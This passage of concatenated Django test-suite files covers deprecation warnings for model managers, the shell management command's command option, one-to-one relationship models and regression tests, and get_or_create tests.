            warnings.simplefilter('always', RemovedInDjango20Warning)
            try:
                MyRelModel(pk=42).mymodel
            except DatabaseError:
                pass
        self.assertEqual(len(warns), 1)
        self.assertEqual(
            str(warns[0].message),
            "use_for_related_fields is deprecated, "
            "instead set Meta.base_manager_name on "
            "'managers_regress.MyModel'.",
        )

        # With the new base_manager_name API there shouldn't be any warnings.
        class MyRelModel2(models.Model):
            objects = MyManager()

            class Meta:
                base_manager_name = 'objects'

        class MyModel2(models.Model):
            o2o = models.OneToOneField(MyRelModel2, on_delete=models.DO_NOTHING)
            objects = MyManager()

            class Meta:
                base_manager_name = 'objects'

        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always', RemovedInDjango20Warning)
            try:
                MyModel2(o2o_id=42).o2o
            except DatabaseError:
                pass
            try:
                MyRelModel2(pk=42).mymodel2
            except DatabaseError:
                pass
        self.assertEqual(len(warns), 0)

        # When mixing base_manager_name and use_for_related_fields, there
        # should be warnings.
        class MyRelModel3(models.Model):
            my_base_manager = MyManager()
            my_default_manager = MyLegacyManager()

            class Meta:
                base_manager_name = 'my_base_manager'
                default_manager_name = 'my_default_manager'

        class MyModel3(models.Model):
            o2o = models.OneToOneField(MyRelModel3, on_delete=models.DO_NOTHING)

        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always', RemovedInDjango20Warning)
            try:
                MyModel3(o2o_id=42).o2o
            except DatabaseError:
                pass

        self.assertEqual(len(warns), 1)
        self.assertEqual(
            str(warns[0].message),
            "use_for_related_fields is deprecated, "
            "instead set Meta.base_manager_name on "
            "'managers_regress.MyRelModel3'.",
        )
        with warnings.catch_warnings(record=True):
            warnings.simplefilter('always', RemovedInDjango20Warning)
            self.assertIsInstance(MyModel3.o2o.get_queryset(), MyLegacyManagerQuerySet)

    def test_legacy_objects_is_created(self):
        class ConcreteParentWithoutManager(models.Model):
            pass

        class ConcreteParentWithManager(models.Model):
            default = models.Manager()

        class AbstractParent(models.Model):
            default = models.Manager()

            class Meta:
                abstract = True

        # Shouldn't complain since the inherited manager
        # is basically the same that would have been created.
        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always', RemovedInDjango20Warning)

            class MyModel(ConcreteParentWithoutManager):
                    pass
            self.assertEqual(len(warns), 0)

        # Should create 'objects' (set as default) and warn that
        # it will no longer be the case in the future.
        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always', RemovedInDjango20Warning)

            class MyModel2(ConcreteParentWithManager):
                pass
            self.assertEqual(len(warns), 1)
            self.assertEqual(
                str(warns[0].message),
                "Managers from concrete parents will soon qualify as default "
                "managers. As a result, the 'objects' manager won't be created "
                "(or recreated) automatically anymore on "
                "'managers_regress.MyModel2' and 'default' declared on "
                "'managers_regress.ConcreteParentWithManager' will be promoted "
                "to default manager. You can declare explicitly "
                "`objects = models.Manager()` on 'MyModel2' to keep things the "
                "way they are or you can switch to the new behavior right away "
                "by setting `Meta.manager_inheritance_from_future` to `True`.",
            )

            self.assertIs(MyModel2.objects, MyModel2._default_manager)

        # When there is a local manager we shouldn't get any warning
        # and 'objects' shouldn't be created.
        class MyModel3(ConcreteParentWithManager):
            default = models.Manager()
        self.assertIs(MyModel3.default, MyModel3._default_manager)
        self.assertIsNone(getattr(MyModel3, 'objects', None))

        # When there is an inherited manager we shouldn't get any warning
        # and 'objects' shouldn't be created.
        class MyModel4(AbstractParent, ConcreteParentWithManager):
            pass
        self.assertIs(MyModel4.default, MyModel4._default_manager)
        self.assertIsNone(getattr(MyModel4, 'objects', None))

        # With `manager_inheritance_from_future = True` 'objects'
        # shouldn't be created.
        class MyModel5(ConcreteParentWithManager):
            class Meta:
                manager_inheritance_from_future = True
        self.assertIs(MyModel5.default, MyModel5._default_manager)
        self.assertIsNone(getattr(MyModel5, 'objects', None))

    def test_legacy_default_manager_promotion(self):
        class ConcreteParent(models.Model):
            concrete = models.Manager()

        class AbstractParent(models.Model):
            abstract = models.Manager()

            class Meta:
                abstract = True

        with warnings.catch_warnings(record=True) as warns:
            warnings.simplefilter('always', RemovedInDjango20Warning)

            class MyModel(ConcreteParent, AbstractParent):
                pass
            self.assertEqual(len(warns), 1)
            self.assertEqual(
                str(warns[0].message),
                "Managers from concrete parents will soon qualify as default "
                "managers if they appear before any other managers in the "
                "MRO. As a result, 'abstract' declared on "
                "'managers_regress.AbstractParent' will no longer be the "
                "default manager for 'managers_regress.MyModel' in favor of "
                "'concrete' declared on 'managers_regress.ConcreteParent'. "
                "You can redeclare 'abstract' on 'MyModel' to keep things the "
                "way they are or you can switch to the new behavior right "
                "away by setting `Meta.manager_inheritance_from_future` to "
                "`True`.",
            )
            self.assertIs(MyModel.abstract, MyModel._default_manager)

        class MyModel2(ConcreteParent, AbstractParent):
            abstract = models.Manager()
        self.assertIs(MyModel2.abstract, MyModel2._default_manager)

        class MyModel3(ConcreteParent, AbstractParent):
            class Meta:
                manager_inheritance_from_future = True
        self.assertIs(MyModel3.concrete, MyModel3._default_manager)












from django import __version__
from django.core.management import call_command
from django.test import SimpleTestCase
from django.test.utils import patch_logger


class ShellCommandTestCase(SimpleTestCase):

    def test_command_option(self):
        with patch_logger('test', 'info') as logger:
            call_command(
                'shell',
                command=(
                    'import django; from logging import getLogger; '
                    'getLogger("test").info(django.__version__)'
                ),
            )
            self.assertEqual(len(logger), 1)
            self.assertEqual(logger[0], __version__)






"""
One-to-one relationships

To define a one-to-one relationship, use ``OneToOneField()``.

In this example, a ``Place`` optionally can be a ``Restaurant``.
"""
from __future__ import unicode_literals

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Place(models.Model):
    name = models.CharField(max_length=50)
    address = models.CharField(max_length=80)

    def __str__(self):
        return "%s the place" % self.name


@python_2_unicode_compatible
class Restaurant(models.Model):
    place = models.OneToOneField(Place, models.CASCADE, primary_key=True)
    serves_hot_dogs = models.BooleanField(default=False)
    serves_pizza = models.BooleanField(default=False)

    def __str__(self):
        return "%s the restaurant" % self.place.name


@python_2_unicode_compatible
class Bar(models.Model):
    place = models.OneToOneField(Place, models.CASCADE)
    serves_cocktails = models.BooleanField(default=True)

    def __str__(self):
        return "%s the bar" % self.place.name


class UndergroundBar(models.Model):
    place = models.OneToOneField(Place, models.SET_NULL, null=True)
    serves_cocktails = models.BooleanField(default=True)


@python_2_unicode_compatible
class Waiter(models.Model):
    restaurant = models.ForeignKey(Restaurant, models.CASCADE)
    name = models.CharField(max_length=50)

    def __str__(self):
        return "%s the waiter at %s" % (self.name, self.restaurant)


@python_2_unicode_compatible
class Favorites(models.Model):
    name = models.CharField(max_length=50)
    restaurants = models.ManyToManyField(Restaurant)

    def __str__(self):
        return "Favorites for %s" % self.name


class ManualPrimaryKey(models.Model):
    primary_key = models.CharField(max_length=10, primary_key=True)
    name = models.CharField(max_length=50)


class RelatedModel(models.Model):
    link = models.OneToOneField(ManualPrimaryKey, models.CASCADE)
    name = models.CharField(max_length=50)


@python_2_unicode_compatible
class MultiModel(models.Model):
    link1 = models.OneToOneField(Place, models.CASCADE)
    link2 = models.OneToOneField(ManualPrimaryKey, models.CASCADE)
    name = models.CharField(max_length=50)

    def __str__(self):
        return "Multimodel %s" % self.name


class Target(models.Model):
    name = models.CharField(max_length=50, unique=True)


class Pointer(models.Model):
    other = models.OneToOneField(Target, models.CASCADE, primary_key=True)


class Pointer2(models.Model):
    other = models.OneToOneField(Target, models.CASCADE, related_name='second_pointer')


class HiddenPointer(models.Model):
    target = models.OneToOneField(Target, models.CASCADE, related_name='hidden+')


class ToFieldPointer(models.Model):
    target = models.OneToOneField(Target, models.CASCADE, to_field='name', primary_key=True)


# Test related objects visibility.
class SchoolManager(models.Manager):
    def get_queryset(self):
        return super(SchoolManager, self).get_queryset().filter(is_public=True)


class School(models.Model):
    is_public = models.BooleanField(default=False)
    objects = SchoolManager()


class DirectorManager(models.Manager):
    def get_queryset(self):
        return super(DirectorManager, self).get_queryset().filter(is_temp=False)


class Director(models.Model):
    is_temp = models.BooleanField(default=False)
    school = models.OneToOneField(School, models.CASCADE)
    objects = DirectorManager()












from __future__ import unicode_literals

from django.db import IntegrityError, connection, transaction
from django.test import TestCase, ignore_warnings
from django.utils.deprecation import RemovedInDjango20Warning

from .models import (
    Bar, Director, Favorites, HiddenPointer, ManualPrimaryKey, MultiModel,
    Place, Pointer, RelatedModel, Restaurant, School, Target, ToFieldPointer,
    UndergroundBar, Waiter,
)


class OneToOneTests(TestCase):

    def setUp(self):
        self.p1 = Place.objects.create(name='Demon Dogs', address='944 W. Fullerton')
        self.p2 = Place.objects.create(name='Ace Hardware', address='1013 N. Ashland')
        self.r1 = Restaurant.objects.create(place=self.p1, serves_hot_dogs=True, serves_pizza=False)
        self.b1 = Bar.objects.create(place=self.p1, serves_cocktails=False)

    def test_getter(self):
        # A Restaurant can access its place.
        self.assertEqual(repr(self.r1.place), '<Place: Demon Dogs the place>')
        # A Place can access its restaurant, if available.
        self.assertEqual(repr(self.p1.restaurant), '<Restaurant: Demon Dogs the restaurant>')
        # p2 doesn't have an associated restaurant.
        with self.assertRaisesMessage(Restaurant.DoesNotExist, 'Place has no restaurant'):
            self.p2.restaurant
        # The exception raised on attribute access when a related object
        # doesn't exist should be an instance of a subclass of `AttributeError`
        # refs #21563
        self.assertFalse(hasattr(self.p2, 'restaurant'))

    def test_setter(self):
        # Set the place using assignment notation. Because place is the primary
        # key on Restaurant, the save will create a new restaurant
        self.r1.place = self.p2
        self.r1.save()
        self.assertEqual(repr(self.p2.restaurant), '<Restaurant: Ace Hardware the restaurant>')
        self.assertEqual(repr(self.r1.place), '<Place: Ace Hardware the place>')
        self.assertEqual(self.p2.pk, self.r1.pk)
        # Set the place back again, using assignment in the reverse direction.
        self.p1.restaurant = self.r1
        self.assertEqual(repr(self.p1.restaurant), '<Restaurant: Demon Dogs the restaurant>')
        r = Restaurant.objects.get(pk=self.p1.id)
        self.assertEqual(repr(r.place), '<Place: Demon Dogs the place>')

    def test_manager_all(self):
        # Restaurant.objects.all() just returns the Restaurants, not the Places.
        self.assertQuerysetEqual(Restaurant.objects.all(), [
            '<Restaurant: Demon Dogs the restaurant>',
        ])
        # Place.objects.all() returns all Places, regardless of whether they
        # have Restaurants.
        self.assertQuerysetEqual(Place.objects.order_by('name'), [
            '<Place: Ace Hardware the place>',
            '<Place: Demon Dogs the place>',
        ])

    def test_manager_get(self):
        def assert_get_restaurant(**params):
            self.assertEqual(repr(Restaurant.objects.get(**params)),
                             '<Restaurant: Demon Dogs the restaurant>')
        assert_get_restaurant(place__id__exact=self.p1.pk)
        assert_get_restaurant(place__id=self.p1.pk)
        assert_get_restaurant(place__exact=self.p1.pk)
        assert_get_restaurant(place__exact=self.p1)
        assert_get_restaurant(place=self.p1.pk)
        assert_get_restaurant(place=self.p1)
        assert_get_restaurant(pk=self.p1.pk)
        assert_get_restaurant(place__pk__exact=self.p1.pk)
        assert_get_restaurant(place__pk=self.p1.pk)
        assert_get_restaurant(place__name__startswith="Demon")

        def assert_get_place(**params):
            self.assertEqual(repr(Place.objects.get(**params)),
                             '<Place: Demon Dogs the place>')
        assert_get_place(restaurant__place__exact=self.p1.pk)
        assert_get_place(restaurant__place__exact=self.p1)
        assert_get_place(restaurant__place__pk=self.p1.pk)
        assert_get_place(restaurant__exact=self.p1.pk)
        assert_get_place(restaurant__exact=self.r1)
        assert_get_place(restaurant__pk=self.p1.pk)
        assert_get_place(restaurant=self.p1.pk)
        assert_get_place(restaurant=self.r1)
        assert_get_place(id__exact=self.p1.pk)
        assert_get_place(pk=self.p1.pk)

    def test_foreign_key(self):
        # Add a Waiter to the Restaurant.
        w = self.r1.waiter_set.create(name='Joe')
        self.assertEqual(repr(w), '<Waiter: Joe the waiter at Demon Dogs the restaurant>')

        # Query the waiters
        def assert_filter_waiters(**params):
            self.assertQuerysetEqual(Waiter.objects.filter(**params), [
                '<Waiter: Joe the waiter at Demon Dogs the restaurant>'
            ])
        assert_filter_waiters(restaurant__place__exact=self.p1.pk)
        assert_filter_waiters(restaurant__place__exact=self.p1)
        assert_filter_waiters(restaurant__place__pk=self.p1.pk)
        assert_filter_waiters(restaurant__exact=self.r1.pk)
        assert_filter_waiters(restaurant__exact=self.r1)
        assert_filter_waiters(restaurant__pk=self.r1.pk)
        assert_filter_waiters(restaurant=self.r1.pk)
        assert_filter_waiters(restaurant=self.r1)
        assert_filter_waiters(id__exact=w.pk)
        assert_filter_waiters(pk=w.pk)
        # Delete the restaurant; the waiter should also be removed
        r = Restaurant.objects.get(pk=self.r1.pk)
        r.delete()
        self.assertEqual(Waiter.objects.count(), 0)

    def test_multiple_o2o(self):
        # One-to-one fields still work if you create your own primary key
        o1 = ManualPrimaryKey(primary_key="abc123", name="primary")
        o1.save()
        o2 = RelatedModel(link=o1, name="secondary")
        o2.save()

        # You can have multiple one-to-one fields on a model, too.
        x1 = MultiModel(link1=self.p1, link2=o1, name="x1")
        x1.save()
        self.assertEqual(repr(o1.multimodel), '<MultiModel: Multimodel x1>')
        # This will fail because each one-to-one field must be unique (and
        # link2=o1 was used for x1, above).
        mm = MultiModel(link1=self.p2, link2=o1, name="x1")
        with self.assertRaises(IntegrityError):
            with transaction.atomic():
                mm.save()

    def test_unsaved_object(self):
        """
        #10811 -- Assigning an unsaved object to a OneToOneField
        should raise an exception.
        """
        place = Place(name='User', address='London')
        with self.assertRaises(Restaurant.DoesNotExist):
            place.restaurant
        msg = "save() prohibited to prevent data loss due to unsaved related object 'place'."
        with self.assertRaisesMessage(ValueError, msg):
            Restaurant.objects.create(place=place, serves_hot_dogs=True, serves_pizza=False)
        # place should not cache restaurant
        with self.assertRaises(Restaurant.DoesNotExist):
            place.restaurant

    def test_reverse_relationship_cache_cascade(self):
        """
        Regression test for #9023: accessing the reverse relationship shouldn't
        result in a cascading delete().
        """
        bar = UndergroundBar.objects.create(place=self.p1, serves_cocktails=False)

        # The bug in #9023: if you access the one-to-one relation *before*
        # setting to None and deleting, the cascade happens anyway.
        self.p1.undergroundbar
        bar.place.name = 'foo'
        bar.place = None
        bar.save()
        self.p1.delete()

        self.assertEqual(Place.objects.all().count(), 1)
        self.assertEqual(UndergroundBar.objects.all().count(), 1)

    def test_create_models_m2m(self):
        """
        Regression test for #1064 and #1506

        Check that we create models via the m2m relation if the remote model
        has a OneToOneField.
        """
        f = Favorites(name='Fred')
        f.save()
        f.restaurants.set([self.r1])
        self.assertQuerysetEqual(
            f.restaurants.all(),
            ['<Restaurant: Demon Dogs the restaurant>']
        )

    def test_reverse_object_cache(self):
        """
        Regression test for #7173

        Check that the name of the cache for the reverse object is correct.
        """
        self.assertEqual(self.p1.restaurant, self.r1)
        self.assertEqual(self.p1.bar, self.b1)

    def test_assign_none_reverse_relation(self):
        p = Place.objects.get(name="Demon Dogs")
        # Assigning None succeeds if field is null=True.
        ug_bar = UndergroundBar.objects.create(place=p, serves_cocktails=False)
        p.undergroundbar = None
        self.assertIsNone(ug_bar.place)
        ug_bar.save()
        ug_bar.refresh_from_db()
        self.assertIsNone(ug_bar.place)

    def test_assign_none_null_reverse_relation(self):
        p = Place.objects.get(name="Demon Dogs")
        # Assigning None doesn't throw AttributeError if there isn't a related
        # UndergroundBar.
        p.undergroundbar = None

    def test_related_object_cache(self):
        """ Regression test for #6886 (the related-object cache) """

        # Look up the objects again so that we get "fresh" objects
        p = Place.objects.get(name="Demon Dogs")
        r = p.restaurant

        # Accessing the related object again returns the exactly same object
        self.assertIs(p.restaurant, r)

        # But if we kill the cache, we get a new object
        del p._restaurant_cache
        self.assertIsNot(p.restaurant, r)

        # Reassigning the Restaurant object results in an immediate cache update
        # We can't use a new Restaurant because that'll violate one-to-one, but
        # with a new *instance* the is test below will fail if #6886 regresses.
        r2 = Restaurant.objects.get(pk=r.pk)
        p.restaurant = r2
        self.assertIs(p.restaurant, r2)

        # Assigning None succeeds if field is null=True.
        ug_bar = UndergroundBar.objects.create(place=p, serves_cocktails=False)
        ug_bar.place = None
        self.assertIsNone(ug_bar.place)

        # Assigning None will not fail: Place.restaurant is null=False
        setattr(p, 'restaurant', None)

        # You also can't assign an object of the wrong type here
        with self.assertRaises(ValueError):
            setattr(p, 'restaurant', p)

        # Creation using keyword argument should cache the related object.
        p = Place.objects.get(name="Demon Dogs")
        r = Restaurant(place=p)
        self.assertIs(r.place, p)

        # Creation using keyword argument and unsaved related instance (#8070).
        p = Place()
        r = Restaurant(place=p)
        self.assertTrue(r.place is p)

        # Creation using attname keyword argument and an id will cause the related
        # object to be fetched.
        p = Place.objects.get(name="Demon Dogs")
        r = Restaurant(place_id=p.id)
        self.assertIsNot(r.place, p)
        self.assertEqual(r.place, p)

    def test_filter_one_to_one_relations(self):
        """
        Regression test for #9968

        filtering reverse one-to-one relations with primary_key=True was
        misbehaving. We test both (primary_key=True & False) cases here to
        prevent any reappearance of the problem.
        """
        Target.objects.create()

        self.assertQuerysetEqual(
            Target.objects.filter(pointer=None),
            ['<Target: Target object>']
        )
        self.assertQuerysetEqual(
            Target.objects.exclude(pointer=None),
            []
        )
        self.assertQuerysetEqual(
            Target.objects.filter(second_pointer=None),
            ['<Target: Target object>']
        )
        self.assertQuerysetEqual(
            Target.objects.exclude(second_pointer=None),
            []
        )

    def test_o2o_primary_key_delete(self):
        t = Target.objects.create(name='name')
        Pointer.objects.create(other=t)
        num_deleted, objs = Pointer.objects.filter(other__name='name').delete()
        self.assertEqual(num_deleted, 1)
        self.assertEqual(objs, {'one_to_one.Pointer': 1})

    def test_reverse_object_does_not_exist_cache(self):
        """
        Regression for #13839 and #17439.

        DoesNotExist on a reverse one-to-one relation is cached.
        """
        p = Place(name='Zombie Cats', address='Not sure')
        p.save()
        with self.assertNumQueries(1):
            with self.assertRaises(Restaurant.DoesNotExist):
                p.restaurant
        with self.assertNumQueries(0):
            with self.assertRaises(Restaurant.DoesNotExist):
                p.restaurant

    def test_reverse_object_cached_when_related_is_accessed(self):
        """
        Regression for #13839 and #17439.

        The target of a one-to-one relation is cached
        when the origin is accessed through the reverse relation.
        """
        # Use a fresh object without caches
        r = Restaurant.objects.get(pk=self.r1.pk)
        p = r.place
        with self.assertNumQueries(0):
            self.assertEqual(p.restaurant, r)

    def test_related_object_cached_when_reverse_is_accessed(self):
        """
        Regression for #13839 and #17439.

        The origin of a one-to-one relation is cached
        when the target is accessed through the reverse relation.
        """
        # Use a fresh object without caches
        p = Place.objects.get(pk=self.p1.pk)
        r = p.restaurant
        with self.assertNumQueries(0):
            self.assertEqual(r.place, p)

    def test_reverse_object_cached_when_related_is_set(self):
        """
        Regression for #13839 and #17439.

        The target of a one-to-one relation is always cached.
        """
        p = Place(name='Zombie Cats', address='Not sure')
        p.save()
        self.r1.place = p
        self.r1.save()
        with self.assertNumQueries(0):
            self.assertEqual(p.restaurant, self.r1)

    def test_reverse_object_cached_when_related_is_unset(self):
        """
        Regression for #13839 and #17439.

        The target of a one-to-one relation is always cached.
        """
        b = UndergroundBar(place=self.p1, serves_cocktails=True)
        b.save()
        with self.assertNumQueries(0):
            self.assertEqual(self.p1.undergroundbar, b)
        b.place = None
        b.save()
        with self.assertNumQueries(0):
            with self.assertRaises(UndergroundBar.DoesNotExist):
                self.p1.undergroundbar

    def test_get_reverse_on_unsaved_object(self):
        """
        Regression for #18153 and #19089.

        Accessing the reverse relation on an unsaved object
        always raises an exception.
        """
        p = Place()

        # When there's no instance of the origin of the one-to-one
        with self.assertNumQueries(0):
            with self.assertRaises(UndergroundBar.DoesNotExist):
                p.undergroundbar

        UndergroundBar.objects.create()

        # When there's one instance of the origin
        # (p.undergroundbar used to return that instance)
        with self.assertNumQueries(0):
            with self.assertRaises(UndergroundBar.DoesNotExist):
                p.undergroundbar

        # Several instances of the origin are only possible if database allows
        # inserting multiple NULL rows for a unique constraint
        if connection.features.supports_nullable_unique_constraints:
            UndergroundBar.objects.create()

            # When there are several instances of the origin
            with self.assertNumQueries(0):
                with self.assertRaises(UndergroundBar.DoesNotExist):
                    p.undergroundbar

    def test_set_reverse_on_unsaved_object(self):
        """
        Writing to the reverse relation on an unsaved object
        is impossible too.
        """
        p = Place()
        b = UndergroundBar.objects.create()

        # Assigning a reverse relation on an unsaved object is allowed.
        p.undergroundbar = b

        # However saving the object is not allowed.
        msg = "save() prohibited to prevent data loss due to unsaved related object 'place'."
        with self.assertNumQueries(0):
            with self.assertRaisesMessage(ValueError, msg):
                b.save()

    def test_nullable_o2o_delete(self):
        u = UndergroundBar.objects.create(place=self.p1)
        u.place_id = None
        u.save()
        self.p1.delete()
        self.assertTrue(UndergroundBar.objects.filter(pk=u.pk).exists())
        self.assertIsNone(UndergroundBar.objects.get(pk=u.pk).place)

    def test_hidden_accessor(self):
        """
        When a '+' ending related name is specified no reverse accessor should
        be added to the related model.
        """
        self.assertFalse(
            hasattr(Target, HiddenPointer._meta.get_field('target').remote_field.get_accessor_name())
        )

    @ignore_warnings(category=RemovedInDjango20Warning)  # for use_for_related_fields deprecation
    def test_related_object(self):
        public_school = School.objects.create(is_public=True)
        public_director = Director.objects.create(school=public_school, is_temp=False)

        private_school = School.objects.create(is_public=False)
        private_director = Director.objects.create(school=private_school, is_temp=True)

        # Only one school is available via all() due to the custom default manager.
        self.assertQuerysetEqual(
            School.objects.all(),
            ["<School: School object>"]
        )

        # Only one director is available via all() due to the custom default manager.
        self.assertQuerysetEqual(
            Director.objects.all(),
            ["<Director: Director object>"]
        )

        self.assertEqual(public_director.school, public_school)
        self.assertEqual(public_school.director, public_director)

        # Make sure the base manager is used so that the related objects
        # is still accessible even if the default manager doesn't normally
        # allow it.
        self.assertEqual(private_director.school, private_school)

        # Make sure the base manager is used so that an student can still access
        # its related school even if the default manager doesn't normally
        # allow it.
        self.assertEqual(private_school.director, private_director)

        # If the manager is marked "use_for_related_fields", it'll get used instead
        # of the "bare" queryset. Usually you'd define this as a property on the class,
        # but this approximates that in a way that's easier in tests.
        School._default_manager.use_for_related_fields = True
        try:
            private_director = Director._base_manager.get(pk=private_director.pk)
            with self.assertRaises(School.DoesNotExist):
                private_director.school
        finally:
            School._default_manager.use_for_related_fields = False

        Director._default_manager.use_for_related_fields = True
        try:
            private_school = School._base_manager.get(pk=private_school.pk)
            with self.assertRaises(Director.DoesNotExist):
                private_school.director
        finally:
            Director._default_manager.use_for_related_fields = False

        School._meta.base_manager_name = 'objects'
        School._meta._expire_cache()
        try:
            private_director = Director._base_manager.get(pk=private_director.pk)
            with self.assertRaises(School.DoesNotExist):
                private_director.school
        finally:
            School._meta.base_manager_name = None
            School._meta._expire_cache()

        Director._meta.base_manager_name = 'objects'
        Director._meta._expire_cache()
        try:
            private_school = School._base_manager.get(pk=private_school.pk)
            with self.assertRaises(Director.DoesNotExist):
                private_school.director
        finally:
            Director._meta.base_manager_name = None
            Director._meta._expire_cache()

    def test_hasattr_related_object(self):
        # The exception raised on attribute access when a related object
        # doesn't exist should be an instance of a subclass of `AttributeError`
        # refs #21563
        self.assertFalse(hasattr(Director(), 'director'))
        self.assertFalse(hasattr(School(), 'school'))

    def test_update_one_to_one_pk(self):
        p1 = Place.objects.create()
        p2 = Place.objects.create()
        r1 = Restaurant.objects.create(place=p1)
        r2 = Restaurant.objects.create(place=p2)
        w = Waiter.objects.create(restaurant=r1)

        Waiter.objects.update(restaurant=r2)
        w.refresh_from_db()
        self.assertEqual(w.restaurant, r2)

    def test_rel_pk_subquery(self):
        r = Restaurant.objects.first()
        q1 = Restaurant.objects.filter(place_id=r.pk)
        # Test that subquery using primary key and a query against the
        # same model works correctly.
        q2 = Restaurant.objects.filter(place_id__in=q1)
        self.assertQuerysetEqual(q2, [r], lambda x: x)
        # Test that subquery using 'pk__in' instead of 'place_id__in' work, too.
        q2 = Restaurant.objects.filter(
            pk__in=Restaurant.objects.filter(place__id=r.place.pk)
        )
        self.assertQuerysetEqual(q2, [r], lambda x: x)

    def test_rel_pk_exact(self):
        r = Restaurant.objects.first()
        r2 = Restaurant.objects.filter(pk__exact=r).first()
        self.assertEqual(r, r2)

    def test_primary_key_to_field_filter(self):
        target = Target.objects.create(name='foo')
        pointer = ToFieldPointer.objects.create(target=target)
        self.assertQuerysetEqual(ToFieldPointer.objects.filter(target=target), [pointer], lambda x: x)
        self.assertQuerysetEqual(ToFieldPointer.objects.filter(pk__exact=pointer), [pointer], lambda x: x)






from __future__ import unicode_literals

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Person(models.Model):
    first_name = models.CharField(max_length=100)
    last_name = models.CharField(max_length=100)
    birthday = models.DateField()
    defaults = models.TextField()

    def __str__(self):
        return '%s %s' % (self.first_name, self.last_name)


class DefaultPerson(models.Model):
    first_name = models.CharField(max_length=100, default="Anonymous")


class ManualPrimaryKeyTest(models.Model):
    id = models.IntegerField(primary_key=True)
    data = models.CharField(max_length=100)


class Profile(models.Model):
    person = models.ForeignKey(Person, models.CASCADE, primary_key=True)


class Tag(models.Model):
    text = models.CharField(max_length=255, unique=True)


class Thing(models.Model):
    name = models.CharField(max_length=256)
    tags = models.ManyToManyField(Tag)


class Publisher(models.Model):
    name = models.CharField(max_length=100)


class Author(models.Model):
    name = models.CharField(max_length=100)


class Book(models.Model):
    name = models.CharField(max_length=100)
    authors = models.ManyToManyField(Author, related_name='books')
    publisher = models.ForeignKey(
        Publisher,
        models.CASCADE,
        related_name='books',
        db_column="publisher_id_column",
    )












from __future__ import unicode_literals

import time
import traceback
from datetime import date, datetime, timedelta
from threading import Thread

from django.db import DatabaseError, IntegrityError, connection
from django.test import (
    TestCase, TransactionTestCase, ignore_warnings, skipUnlessDBFeature,
)
from django.utils.encoding import DjangoUnicodeDecodeError

from .models import (
    Author, Book, DefaultPerson, ManualPrimaryKeyTest, Person, Profile,
    Publisher, Tag, Thing,
)


class GetOrCreateTests(TestCase):

    def setUp(self):
        self.lennon = Person.objects.create(
            first_name='John', last_name='Lennon', birthday=date(1940, 10, 9)
        )

    def test_get_or_create_method_with_get(self):
        created = Person.objects.get_or_create(
            first_name="John", last_name="Lennon", defaults={
                "birthday": date(1940, 10, 9)
            }
        )[1]
        self.assertFalse(created)
        self.assertEqual(Person.objects.count(), 1)

    def test_get_or_create_method_with_create(self):
        created = Person.objects.get_or_create(
            first_name='George', last_name='Harrison', defaults={
                'birthday': date(1943, 2, 25)
            }
        )[1]
        self.assertTrue(created)
        self.assertEqual(Person.objects.count(), 2)

    def test_get_or_create_redundant_instance(self):
        """
        If we execute the exact same statement twice, the second time,
        it won't create a Person.
        """
        Person.objects.get_or_create(
            first_name='George', last_name='Harrison', defaults={
                'birthday': date(1943, 2, 25)
            }
        )
        created = Person.objects.get_or_create(
            first_name='George', last_name='Harrison', defaults={
                'birthday': date(1943, 2, 25)
            }
        )[1]

        self.assertFalse(created)
        self.assertEqual(Person.objects.count(), 2)

    def test_get_or_create_invalid_params(self):
        """
        If you don't specify a value or default value for all required
        fields, you will get an error.
        """
        with self.assertRaises(IntegrityError):
            Person.objects.get_or_create(first_name="Tom", last_name="Smith")

    def test_get_or_create_on_related_manager(self):
        p = Publisher.objects.create(name="Acme Publishing")
        # Create a book through the publisher.
        book, created = p.books.get_or_create(name="The Book of Ed & Fred")
        self.assertTrue(created)
        # The publisher should have one book.
        self.assertEqual(p.books.count(), 1)

        # Try get_or_create again, this time nothing should be created.
        book, created = p.books.get_or_create(name="The Book of Ed & Fred")
        self.assertFalse(created)
        # And the publisher should still have one book.
        self.assertEqual(p.books.count(), 1)

        # Add an author to the book.
        ed, created = book.authors.get_or_create(name="Ed")
        self.assertTrue(created)
        # The book should have one author.
        self.assertEqual(book.authors.count(), 1)

        # Try get_or_create again, this time nothing should be created.
        ed, created = book.authors.get_or_create(name="Ed")
        self.assertFalse(created)
        # And the book should still have one author.
        self.assertEqual(book.authors.count(), 1)

        # Add a second author to the book.
        fred, created = book.authors.get_or_create(name="Fred")
        self.assertTrue(created)

        # The book should have two authors now.
        self.assertEqual(book.authors.count(), 2)

        # Create an Author not tied to any books.
        Author.objects.create(name="Ted")

        # There should be three Authors in total. The book object should have two.
        self.assertEqual(Author.objects.count(), 3)
        self.assertEqual(book.authors.count(), 2)

        # Try creating a book through an author.
        _, created = ed.books.get_or_create(name="Ed's Recipes", publisher=p)
        self.assertTrue(created)

        # Now Ed has two Books, Fred just one.
        self.assertEqual(ed.books.count(), 2)
        self.assertEqual(fred.books.count(), 1)

        # Use the publisher's primary key value instead of a model instance.
        _, created = ed.books.get_or_create(name='The Great Book of Ed', publisher_id=p.id)
        self.assertTrue(created)

        # Try get_or_create again, this time nothing should be created.
        _, created = ed.books.get_or_create(name='The Great Book of Ed', publisher_id=p.id)
        self.assertFalse(created)

        # The publisher should have three books.
        self.assertEqual(p.books.count(), 3)

    def test_defaults_exact(self):
        """
        If you have a field named defaults and want to use it as an exact
        lookup, you need to use 'defaults__exact'.
        """
        obj, created = Person.objects.get_or_create(
            first_name='George', last_name='Harrison', defaults__exact='testing', defaults={
                'birthday': date(1943, 2, 25),
                'defaults': 'testing',
            }
        )
        self.assertTrue(created)
        self.assertEqual(obj.defaults, 'testing')
        obj2, created = Person.objects.get_or_create(
            first_name='George', last_name='Harrison', defaults__exact='testing', defaults={
                'birthday': date(1943, 2, 25),
                'defaults': 'testing',
            }
        )
        self.assertFalse(created)
        self.assertEqual(obj, obj2)

    def test_callable_defaults(self):
        """
        Callables in `defaults` are evaluated if the instance is created.
        """
        obj, created = Person.objects.get_or_create(
            first_name="George",
            defaults={"last_name": "Harrison", "birthday": lambda: date(1943, 2, 25)},
        )
        self.assertTrue(created)
        self.assertEqual(date(1943, 2, 25), obj.birthday)

    def test_callable_defaults_not_called(self):
        def raise_exception():
            raise AssertionError
        obj, created = Person.objects.get_or_create(
